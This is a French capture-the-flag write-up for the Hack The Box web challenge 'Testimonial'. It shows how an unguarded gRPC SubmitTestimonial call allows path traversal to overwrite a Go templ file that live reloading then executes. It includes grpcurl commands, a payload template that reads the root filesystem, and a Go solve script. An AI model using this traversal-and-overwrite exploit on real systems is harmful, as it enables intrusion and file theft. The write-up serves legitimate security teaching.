Testimonial

Catégorie: Web Difficulté: easy Flag: HTB{w34kly_t35t3d_t3mplate5}

Challenge

Description


The challenge involves an recruitment page for "They Fray" and allows anyone to submit a testimonial. The webstack utilizes GoLang with chi/templ and is deployed via Air, which allows for live reloading of golang applications. Testimonials is a GRPC Microservice and stored/retrieved as files. Exploitation occours because the Testimonial microservice is exposed to end-users, which provides the ability to overwrite the golang files on the webservice. Due to air live reloading files, it is possible to inject arbituary code.

Analyse globale

Le site est très simple, on a un formulaire et des card qui correspondes aux différents formulaires déjà soumis

Concernant le code, on voit que l’on a 2 services qui écoutent

  • Un service HTTP

  • Un service GRPC

Dans /grpc.go il y a la fonction SubmitTestimonial qui permet d’enregistrer dans /public/testimonials/ les formulaires reçus. Il faut noter que le nom du fichier est d’ailleurs le nom du customer

Dans /client/client.go on s’aperçoit que l’on a une restriction lorsque l’on soumet un formulaire, le nom du customer ne peut pas contenir n’importe quel caractère

Seulement comme nous avons vu juste avant, le service GRPC ne contient pas ces restrictions lui-même, ce qu’il fait que si l’on passe directement par lui et non par le service web, on peut choisir n’importe quel nom de fichier et écraser des fichiers existants


Exploitation

On commence par se connecter au service GRPC avec grpcurl

$ grpcurl --plaintext 94.237.53.3:31132 list
Failed to list services: server does not support the reflection API

Comme le service ne supporte pas la réflexion, la documentation nous dit que l’on peut fournir directement le fichier proto

$ grpcurl -plaintext -import-path ./pb -proto ptypes.proto 94.237.53.3:31132 list 
RickyService

$ grpcurl -plaintext -import-path ./pb -proto ptypes.proto 94.237.53.3:31132 describe RickyService
RickyService is a service:
service RickyService {
  rpc SubmitTestimonial ( .TestimonialSubmission ) returns ( .GenericReply );
}

On peut maintenant appeler la fonction SubmitTestimonial avec notre payload

Pour ça, on va le faire en Go en reprenant le dossier /ptb/ pour se connecter au serveur GPRC.

Concernant le payload, il faut simplement copier-coller /view/home/index.templ et remplacer fsys := os.DirFS("public/testimonials") par **fsys := os.DirFS("/")** ce qui permettra de lire tous les fichiers à la racine

Et enfin pour le nom ce sera ../../view/home/index.templ pour remonter jusqu’au dossier du challenge puis redescendre jusqu’à index.templ pour l’écraser

payload.templ
package home

import (
	"htbchal/view/layout"
	"io/fs"	
	"fmt"
	"os"
)

templ Index() {
	@layout.App(true) {
<nav class="navbar navbar-expand-lg navbar-dark bg-black">
  <div class="container-fluid">
    <a class="navbar-brand" href="/">The Fray</a>
    <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav"
            aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation">
        <span class="navbar-toggler-icon"></span>
    </button>
    <div class="collapse navbar-collapse" id="navbarNav">
        <ul class="navbar-nav ml-auto">
            <li class="nav-item active">
                <a class="nav-link" href="/">Home</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Factions</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Trials</a>
            </li>
            <li class="nav-item">
                <a class="nav-link" href="javascript:void();">Contact</a>
            </li>
        </ul>
    </div>
  </div>
</nav>

<div class="container">
  <section class="jumbotron text-center">
      <div class="container mt-5">
          <h1 class="display-4">Welcome to The Fray</h1>
          <p class="lead">Assemble your faction and prove you're the last one standing!</p>
          <a href="javascript:void();" class="btn btn-primary btn-lg">Get Started</a>
      </div>
  </section>

  <section class="container mt-5">
      <h2 class="text-center mb-4">What Others Say</h2>
      <div class="row">
          @Testimonials()
      </div>
  </section>

  <div class="row mt-5 mb-5">
    <div class="col-md">
      <h2 class="text-center mb-4">Submit Your Testimonial</h2>
      <form method="get" action="/">
        <div class="form-group">
          <label class="mt-2" for="testimonialText">Your Testimonial</label>
          <textarea class="form-control mt-2" id="testimonialText" rows="3" name="testimonial"></textarea>
        </div>
        <div class="form-group">
          <label class="mt-2" for="testifierName">Your Name</label>
          <input type="text" class="form-control mt-2" id="testifierName" name="customer"/>
        </div>
        <button type="submit" class="btn btn-primary mt-4">Submit Testimonial</button>
      </form>
    </div>
  </div>
</div>

<footer class="bg-black text-white text-center py-3">
    <p>&copy; 2024 The Fray. All Rights Reserved.</p>
</footer>
	}
}

func GetTestimonials() []string {
	fsys := os.DirFS("/")	
	files, err := fs.ReadDir(fsys, ".")		
	if err != nil {
		return []string{fmt.Sprintf("Error reading testimonials: %v", err)}
	}
	var res []string
	for _, file := range files {
		fileContent, _ := fs.ReadFile(fsys, file.Name())
		res = append(res, string(fileContent))		
	}
	return res
}

templ Testimonials() {
  for _, item := range GetTestimonials() {
    <div class="col-md-4">
        <div class="card mb-4">
            <div class="card-body">
                <p class="card-text">"{item}"</p>
                <p class="text-muted">- Anonymous Testifier</p>
            </div>
        </div>
    </div>
  }
}
solve.go
package main

import (
	"context"
	"fmt"
	"io/ioutil"
	"log"
	"htbchal/pb"
)

func main() {
    // Lecture du contenu du fichier "payload.templ"
    content, err := ioutil.ReadFile("payload.templ")
    if err != nil {
        log.Fatalf("Erreur lors de la lecture du fichier: %v", err)
    }

    // Adresse du serveur gRPC
    serverAddress := "94.237.57.59:49450" // Remplacez par l'adresse de votre serveur gRPC

    // Connexion au serveur gRPC
    conn, err := grpc.Dial(serverAddress, grpc.WithInsecure())
    if err != nil {
        log.Fatalf("Impossible de se connecter au serveur: %v", err)
    }
    defer conn.Close()

    // Création d'un client gRPC
    client := pb.NewRickyServiceClient(conn)

    // Envoi du contenu du fichier via gRPC
    response, err := client.SubmitTestimonial(context.Background(), &pb.TestimonialSubmission{Customer: "../../view/home/index.templ", Testimonial: string(content)})
    if err != nil {
        log.Fatalf("Erreur lors de l'envoi du témoignage via gRPC: %v", err)
    }

    // Affichage de la réponse du serveur
    fmt.Println("Réponse du serveur gRPC:", response.Message)
}

Ce qui nous donne maintenant sur la page principale

Dernière mise à jour

Cet article vous a-t-il été utile ?